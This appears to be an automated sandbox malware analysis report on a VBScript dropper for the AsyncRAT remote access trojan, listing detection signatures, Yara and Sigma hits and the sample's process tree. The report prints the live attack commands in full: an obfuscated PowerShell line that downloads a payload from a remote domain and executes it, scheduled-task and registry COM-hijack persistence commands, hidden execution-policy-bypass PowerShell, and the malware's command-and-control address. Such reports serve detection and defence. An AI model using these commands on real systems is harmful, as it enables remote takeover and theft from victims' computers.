Edit tour

Windows Analysis Report
H#0813-186765.vbs

Overview

General Information

Sample name:	H#0813-186765.vbs
Analysis ID:	1532152
MD5:	1ad458edaf24cc5d33db3978b18d446c
SHA1:	3ee17340104e4ac3d95c96b35bbe32a3f0c0f56a
SHA256:	42dbdf691f31f25bc8da8504d82bfeb4508d30c982ff3c56c89e98d6692a8a77
Tags:	vbsuser-abuse_ch
Infos:

Detection

AsyncRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

VBScript performs obfuscated calls to suspicious functions

Yara detected AsyncRAT

.NET source code contains potential unpacker

AI detected suspicious sample

Bypasses PowerShell execution policy

Creates a thread in another existing process (thread injection)

Loading BitLocker PowerShell Module

Sigma detected: Potential AMSI COM Server Hijacking

Sigma detected: Potential PowerShell Command Line Obfuscation

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: Powerup Write Hijack DLL

Sigma detected: Suspicious PowerShell Parameter Substring

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses cmd line tools excessively to alter registry or file data

Uses schtasks.exe or at.exe to add and modify task schedules

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 572 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\H#0813-186765.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 4844 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $var1 = $([char]([byte]0x20)+[char]([byte]0x5b)+[char]([byte]0x52)+[char]([byte]0x65)+[char]([byte]0x66)+[char]([byte]0x6c)+[char]([byte]0x65)+[char]([byte]0x63)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x6f)+[char]([byte]0x6e)+[char]([byte]0x2e)+[char]([byte]0x41)+[char]([byte]0x73)+[char]([byte]0x73)+[char]([byte]0x65)+[char]([byte]0x6d)+[char]([byte]0x62)+[char]([byte]0x6c)+[char]([byte]0x79)+[char]([byte]0x5d)+[char]([byte]0x3a)+[char]([byte]0x3a)+[char]([byte]0x6c)+[char]([byte]0x6f)+[char]([byte]0x61)+[char]([byte]0x64)+[char]([byte]0x77)+[char]([byte]0x69)+[char]([byte]0x74)+[char]([byte]0x68)+[char]([byte]0x50)+[char]([byte]0x61)+[char]([byte]0x72)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x4e)+[char]([byte]0x61)+[char]([byte]0x6d)+[char]([byte]0x65)+[char]([byte]0x28)+[char]([byte]0x22)+[char]([byte]0x4d)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x72)+[char]([byte]0x6f)+[char]([byte]0x73)+[char]([byte]0x6f)+[char]([byte]0x66)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x56)+[char]([byte]0x69)+[char]([byte]0x73)+[char]([byte]0x75)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x42)+[char]([byte]0x61)+[char]([byte]0x73)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x22)+[char]([byte]0x29)+[char]([byte]0x20)+[char]([byte]0x7c)+[char]([byte]0x20)+[char]([byte]0x4f)+[char]([byte]0x75)+[char]([byte]0x74)+[char]([byte]0x2d)+[char]([byte]0x4e)+[char]([byte]0x75)+[char]([byte]0x6c)+[char]([byte]0x6c)+[char]([byte]0x20)+[char]([byte]0x3b)+[char]([byte]0x73)+[char]([byte]0x6c)+[char]([byte]0x65)+[char]([byte]0x65)+[char]([byte]0x70)+[char]([byte]0x20)+[char]([byte]0x2d)+[char]([byte]0x73)+[char]([byte]0x20)+[char]([byte]0x34)+[char]([byte]0x20)+[char]([byte]0x3b)+[char]([byte]0x20)+[char]([byte]0x24)+[char]([byte]0x76)+[char]([byte]0x61)+[char]([byte]0x72)+[char]([byte]0x20)+[char]([byte]0x3d)+[char]([byte]0x20)+[char]([byte]0x20)+[char]([byte]0x5b)+[char]([byte]0x4d)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x72)+[char]([byte]0x6f)+[char]([byte]0x73)+[char]([byte]0x6f)+[char]([byte]0x66)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x56)+[char]([byte]0x69)+[char]([byte]0x73)+[char]([byte]0x75)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x42)+[char]([byte]0x61)+[char]([byte]0x73)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x2e)+[char]([byte]0x49)+[char]([byte]0x6e)+[char]([byte]0x74)+[char]([byte]0x65)+[char]([byte]0x72)+[char]([byte]0x61)+[char]([byte]0x63)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x6f)+[char]([byte]0x6e)+[char]([byte]0x5d)+[char]([byte]0x3a)+[char]([byte]0x3a)+[char]([byte]0x43)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x6c)+[char]([byte]0x62)+[char]([byte]0x79)+[char]([byte]0x6e)+[char]([byte]0x61)+[char]([byte]0x6d)+[char]([byte]0x65)+[char]([byte]0x28)+[char]([byte]0x28)+[char]([byte]0x4e)+[char]([byte]0x65)+[char]([byte]0x77)+[char]([byte]0x2d)+[char]([byte]0x6f)+[char]([byte]0x62)+[char]([byte]0x6a)+[char]([byte]0x65)+[char]([byte]0x63)+[char]([byte]0x74)+[char]([byte]0x20)+[char]([byte]0x6e)+[char]([byte]0x65)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x77)+[char]([byte]0x65)+[char]([byte]0x62)+[char]([byte]0x63)+[char]([byte]0x6c)+[char]([byte]0x69)+[char]([byte]0x65)+[char]([byte]0x6e)+[char]([byte]0x74)+[char]([byte]0x20)+[char]([byte]0x29)+[char]([byte]0x20)+[char]([byte]0x2c)+[char]([byte]0x20)+[char]([byte]0x22)+[char]([byte]0x44)+[char]([byte]0x6f)+[char]([byte]0x77)+[char]([byte]0x6e)+[char]([byte]0x6c)+[char]([byte]0x6f)+[char]([byte]0x61)+[char]([byte]0x64)+[char]([byte]0x53)+[char]([byte]0x74)+[char]([byte]0x72)+[char]([byte]0x69)+[char]([byte]0x6e)+[char]([byte]0x67)+[char]([byte]0x22)+[char]([byte]0x20)+[char]([byte]0x2c)+[char]([byte]0x20)+[char]([byte]0x5b)+[char]([byte]0x4d)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x72)+[char]([byte]0x6f)+[char]([byte]0x73)+[char]([byte]0x6f)+[char]([byte]0x66)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x56)+[char]([byte]0x69)+[char]([byte]0x73)+[char]([byte]0x75)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x42)+[char]([byte]0x61)+[char]([byte]0x73)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x2e)+[char]([byte]0x43)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x6c)+[char]([byte]0x54)+[char]([byte]0x79)+[char]([byte]0x70)+[char]([byte]0x65)+[char]([byte]0x5d)+[char]([byte]0x3a)+[char]([byte]0x3a)+[char]([byte]0x4d)+[char]([byte]0x65)+[char]([byte]0x74)+[char]([byte]0x68)+[char]([byte]0x6f)+[char]([byte]0x64)+[char]([byte]0x2c)+[char]([byte]0x20)+[char]([byte]0x22)+[char]([byte]0x68)+[char]([byte]0x74)+[char]([byte]0x74)+[char]([byte]0x70)+[char]([byte]0x73)+[char]([byte]0x3a)+[char]([byte]0x2f)+[char]([byte]0x2f)+[char]([byte]0x76)+[char]([byte]0x61)+[char]([byte]0x72)+[char]([byte]0x69)+[char]([byte]0x65)+[char]([byte]0x74)+[char]([byte]0x79)+[char]([byte]0x64)+[char]([byte]0x69)+[char]([byte]0x72)+[char]([byte]0x65)+[char]([byte]0x63)+[char]([byte]0x74)+[char]([byte]0x6f)+[char]([byte]0x75)+[char]([byte]0x74)+[char]([byte]0x6c)+[char]([byte]0x65)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x63)+[char]([byte]0x6f)+[char]([byte]0x6d)+[char]([byte]0x2f)+[char]([byte]0x72)+[char]([byte]0x65)+[char]([byte]0x64)+[char]([byte]0x72)+[char]([byte]0x6f)+[char]([byte]0x2f)+[char]([byte]0x73)+[char]([byte]0x61)+[char]([byte]0x73)+[char]([byte]0x61)+[char]([byte]0x2e)+[char]([byte]0x67)+[char]([byte]0x69)+[char]([byte]0x66)+[char]([byte]0x22)+[char]([byte]0x20)+[char]([byte]0x29)) ; $var2 = $([char]([byte]0x26)+[char]([byte]0x28)+[char]([byte]0x67)+[char]([byte]0x63)+[char]([byte]0x6d)+[char]([byte]0x20)+[char]([byte]0x69)+[char]([byte]0x2a)+[char]([byte]0x2a)+[char]([byte]0x6e)+[char]([byte]0x76)+[char]([byte]0x2a)+[char]([byte]0x2a)+[char]([byte]0x2a)+[char]([byte]0x6f)+[char]([byte]0x6b)+[char]([byte]0x65)+[char]([byte]0x2d)+[char]([byte]0x65)+[char]([byte]0x78)+[char]([byte]0x70)+[char]([byte]0x72)+[char]([byte]0x2a)+[char]([byte]0x2a)+[char]([byte]0x69)+[char]([byte]0x6f)+[char]([byte]0x6e)+[char]([byte]0x29)) ; $var3 = $var1+ ' | ' +$var2; $sb1 = [scriptblock]::Create($var3).Invoke() MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 3524 cmdline: "C:\Windows\system32\schtasks.exe" /create /sc minute /mo 2 /tn "Cloud OneDrive" /tr C:\ProgramData\Cloud\cloud.vbs MD5: 76CD6626DD8834BD4A42E6A565104DC2)

wscript.exe (PID: 7108 cmdline: C:\Windows\System32\WScript.exe "C:\ProgramData\Cloud\cloud.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 4308 cmdline: "C:\Windows\System32\cmd.exe" /c C:\ProgramData\Cloud\cloud.bat MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 5248 cmdline: REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 5748 cmdline: REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\RedroCrypt.dll /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 572 cmdline: cmd /c Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 4036 cmdline: Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

RegSvcs.exe (PID: 1524 cmdline: "C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

wscript.exe (PID: 5564 cmdline: C:\Windows\System32\WScript.exe "C:\ProgramData\Cloud\cloud.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1888 cmdline: "C:\Windows\System32\cmd.exe" /c C:\ProgramData\Cloud\cloud.bat MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 5580 cmdline: REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 5340 cmdline: REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\RedroCrypt.dll /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 3636 cmdline: cmd /c Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 2848 cmdline: Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

RegSvcs.exe (PID: 6100 cmdline: "C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
AsyncRAT	AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper https://aidenmitchell.ca/asyncrat-via-vbs/ https://assets.virustotal.com/reports/2021trends.pdf https://axmahr.github.io/posts/asyncrat-detection/ https://blog.checkpoint.com/research/november-2023s-most-wanted-malware-new-asyncrat-campaign-discovered-while-fakeupdates-re-entered-the-top-ten-after-brief-hiatus/	https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

Malware Configuration

Threatname: AsyncRAT

{"Server": "88.119.175.153", "Port": "6606,7707,8808,6666,5555,7777,8888,4444,9999", "Version": "AWS | 3Losh", "MutexName": "AsyncMutex_Ass#$Butt$", "Autorun": "false", "Group": "true"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x21e402:$x1: AsyncRAT 0x21e440:$x1: AsyncRAT

Memory Dumps

Source	Rule	Description	Author	Strings
00000016.00000002.3400803278.0000000005286000.00000004.00000020.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7bb:$x1: AsyncRAT 0x7f9:$x1: AsyncRAT
0000000D.00000002.3429100433.0000000005B28000.00000004.00000020.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x4a4b:$x1: AsyncRAT 0x4a89:$x1: AsyncRAT
00000016.00000002.3400152760.0000000005190000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000016.00000002.3383370741.0000000000B70000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0xe7ac:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x11d0a:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
0000000D.00000002.3418123386.0000000003431000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0000000D.00000002.3418123386.0000000003431000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xc542:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
0000000D.00000002.3418123386.0000000003431000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x39eeb:$x1: AsyncRAT 0x39f29:$x1: AsyncRAT 0xc7dc:$s6: VirtualBox 0xc6dc:$s8: Win32_ComputerSystem
0000000D.00000002.3429100433.0000000005A50000.00000004.00000020.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x2346f:$x1: AsyncRAT 0x234ad:$x1: AsyncRAT
00000016.00000002.3391172871.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000016.00000002.3391172871.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x5d2e7:$x1: AsyncRAT 0x5d325:$x1: AsyncRAT 0xca58:$s6: VirtualBox 0xc958:$s8: Win32_ComputerSystem
Process Memory Space: RegSvcs.exe PID: 1524	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 1524	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x19751:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Process Memory Space: RegSvcs.exe PID: 1524	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xb470:$x1: AsyncRAT 0xb4a2:$x1: AsyncRAT 0x25d11:$x1: AsyncRAT 0x25d43:$x1: AsyncRAT 0x25d5d:$x1: AsyncRAT 0x3507d:$x1: AsyncRAT 0x350af:$x1: AsyncRAT 0x1981d:$s6: VirtualBox 0x197cc:$s8: Win32_ComputerSystem 0x2af88:$s8: Win32_ComputerSystem 0x2b05e:$s8: Win32_ComputerSystem
Process Memory Space: RegSvcs.exe PID: 6100	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 6100	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x13eda:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Process Memory Space: RegSvcs.exe PID: 6100	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x55:$x1: AsyncRAT 0x87:$x1: AsyncRAT 0x1a906:$x1: AsyncRAT 0x1a938:$x1: AsyncRAT 0x13fa6:$s6: VirtualBox 0x13f55:$s8: Win32_ComputerSystem
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
22.2.RegSvcs.exe.5190000.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Potential AMSI COM Server Hijacking

Source: Registry Key set

Author: Nasreddine Bencherchali (Nextron Systems): Data: Details: C:\RedroCrypt.dll, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\reg.exe, ProcessId: 5748, TargetObject: HKEY_CURRENT_USER_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\(Default)

Sigma detected: Potential PowerShell Command Line Obfuscation

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $var1 = $([char]([byte]0x20)+[char]([byte]0x5b)+[char]([byte]0x52)+[char]([byte]0x65)+[char]([byte]0x66)+[char]([byte]0x6c)+[char]([byte]0x65)+[char]([byte]0x63)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x6f)+[char]([byte]0x6e)+[char]([byte]0x2e)+[char]([byte]0x41)+[char]([byte]0x73)+[char]([byte]0x73)+[char]([byte]0x65)+[char]([byte]0x6d)+[char]([byte]0x62)+[char]([byte]0x6c)+[char]([byte]0x79)+[char]([byte]0x5d)+[char]([byte]0x3a)+[char]([byte]0x3a)+[char]([byte]0x6c)+[char]([byte]0x6f)+[char]([byte]0x61)+[char]([byte]0x64)+[char]([byte]0x77)+[char]([byte]0x69)+[char]([byte]0x74)+[char]([byte]0x68)+[char]([byte]0x50)+[char]([byte]0x61)+[char]([byte]0x72)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x4e)+[char]([byte]0x61)+[char]([byte]0x6d)+[char]([byte]0x65)+[char]([byte]0x28)+[char]([byte]0x22)+[char]([byte]0x4d)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x72)+[char]([byte]0x6f)+[char]([byte]0x73)+[char]([byte]0x6f)+[char]([byte]0x66)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x56)+[char]([byte]0x69)+[char]([byte]0x73)+[char]([byte]0x75)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x42)+[char]([byte]0x61)+[char]([byte]0x73)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x22)+[char]([byte]0x29)+[char]([byte]0x20)+[char]([byte]0x7c)+[char]([byte]0x20)+[char]([byte]0x4f)+[char]([byte]0x75)+[char]([byte]0x74)+[char]([byte]0x2d)+[char]([byte]0x4e)+[char]([byte]0x75)+[char]([byte]0x6c)+[char]([byte]0x6c)+[char]([byte]0x20)+[char]([byte]0x3b)+[char]([byte]0x73)+[char]([byte]0x6c)+[char]([byte]0x65)+[char]([byte]0x65)+[char]([byte]0x70)+[char]([byte]0x20)+[char]([byte]0x2d)+[char]([byte]0x73)+[char]([byte]0x20)+[char]([byte]0x34)+[char]([byte]0x20)+[char]([byte]0x3b)+[char]([byte]0x20)+[char]([byte]0x24)+[char]([byte]0x76)+[char]([byte]0x61)+[char]([byte]0x72)+[char]([byte]0x20)+[char]([byte]0x3d)+[char]([byte]0x20)+[char]([byte]0x20)+[char]([byte]0x5b)+[char]([byte]0x4d)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x72)+[char]([byte]0x6f)+[char]([byte]0x73)+[char]([byte]0x6f)+[char]([byte]0x66)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x56)+[char]([byte]0x69)+[char]([byte]0x73)+[char]([byte]0x75)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x42)+[char]([byte]0x61)+[char]([byte]0x73)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x2e)+[char]([byte]0x49)+[char]([byte]0x6e)+[char]([byte]0x74)+[char]([byte]0x65)+[char]([byte]0x72)+[char]([byte]0x61)+[char]([byte]0x63)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x6f)+[char]([byte]0x6e)+[char]([byte]0x5d)+[char]([byte]0x3a)+[char]([byte]0x3a)+[char]([byte]0x43)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x6c)+[char]([byte]0x62)+[char]([byte]0x79)+[char]([byte]0x6e)+[char]([byte]0x61)+[char]([byte]0x6d)+[char]([byte]0x65)+[char]([byte]0x28)+[char]([byte]0x28)+[char]([byte]0x4e)+[char]([byte]0x65)+[char]([

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\system32\schtasks.exe" /create /sc minute /mo 2 /tn "Cloud OneDrive" /tr C:\ProgramData\Cloud\cloud.vbs, CommandLine: "C:\Windows\system32\schtasks.exe" /create /sc minute /mo 2 /tn "Cloud OneDrive" /tr C:\ProgramData\Cloud\cloud.vbs, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $var1 = $([char]([byte]0x20)+[char]([byte]0x5b)+[char]([byte]0x52)+[char]([byte]0x65)+[char]([byte]0x66)+[char]([byte]0x6c)+[char]([byte]0x65)+[char]([byte]0x63)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x6f)+[char]([byte]0x6e)+[char]([byte]0x2e)+[char]([byte]0x41)+[char]([byte]0x73)+[char]([byte]0x73)+[char]([byte]0x65)+[char]([byte]0x6d)+[char]([byte]0x62)+[char]([byte]0x6c)+[char]([byte]0x79)+[char]([byte]0x5d)+[char]([byte]0x3a)+[char]([byte]0x3a)+[char]([byte]0x6c)+[char]([byte]0x6f)+[char]([byte]0x61)+[char]([byte]0x64)+[char]([byte]0x77)+[char]([byte]0x69)+[char]([byte]0x74)+[char]([byte]0x68)+[char]([byte]0x50)+[char]([byte]0x61)+[char]([byte]0x72)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x4e)+[char]([byte]0x61)+[char]([byte]0x6d)+[char]([byte]0x65)+[char]([byte]0x28)+[char]([byte]0x22)+[char]([byte]0x4d)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x72)+[char]([byte]0x6f)+[char]([byte]0x73)+[char]([byte]0x6f)+[char]([byte]0x66)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x56)+[char]([byte]0x69)+[char]([byte]0x73)+[char]([byte]0x75)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x42)+[char]([byte]0x61)+[char]([byte]0x73)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x22)+[char]([byte]0x29)+[char]([byte]0x20)+[char]([byte]0x7c)+[char]([byte]0x20)+[char]([byte]0x4f)+[char]([byte]0x75)+[char]([byte]0x74)+[char]([byte]0x2d)+[char]([byte]0x4e)+[char]([byte]0x75)+[char]([byte]0x6c)+[char]([byte]0x6c)+[char]([byte]0x20)+[char]([byte]0x3b)+[char]([byte]0x73)+[char]([byte]0x6c)+[char]([byte]0x65)+[char]([byte]0x65)+[char]([byte]0x70)+[char]([byte]0x20)+[char]([byte]0x2d)+[char]([byte]0x73)+[char]([byte]0x20)+[char]([byte]0x34)+[char]([byte]0x20)+[char]([byte]0x3b)+[char]([byte]0x20)+[char]([byte]0x24)+[char]([byte]0x76)+[char]([byte]0x61)+[char]([byte]0x72)+[char]([byte]0x20)+[char]([byte]0x3d)+[char]([byte]0x20)+[char]([byte]0x20)+[char]([byte]0x5b)+[char]([byte]0x4d)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x72)+[char]([byte]0x6f)+[char]([byte]0x73)+[char]([byte]0x6f)+[char]([byte]0x66)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x56)+[char]([byte]0x69)+[char]([byte]0x73)+[char]([byte]0x75)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x42)+[char]([byte]0x61)+[char]([byte]0x73)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x2e)+[char]([byte]0x49)+[char]([byte]0x6e)+[char]([byte]0x74)+[char]([byte]0x65)+[char]([byte]

Sigma detected: Powerup Write Hijack DLL

Source: File created

Author: Subhash Popuri (@pbssubhash): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 4844, TargetFilename: C:\ProgramData\Cloud\cloud.bat

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1" , CommandLine: Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1" , CommandLine|base64offset|contains: >^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd /c Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1" , ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 572, ParentProcessName: cmd.exe, ProcessCommandLine: Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1" , ProcessId: 4036, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

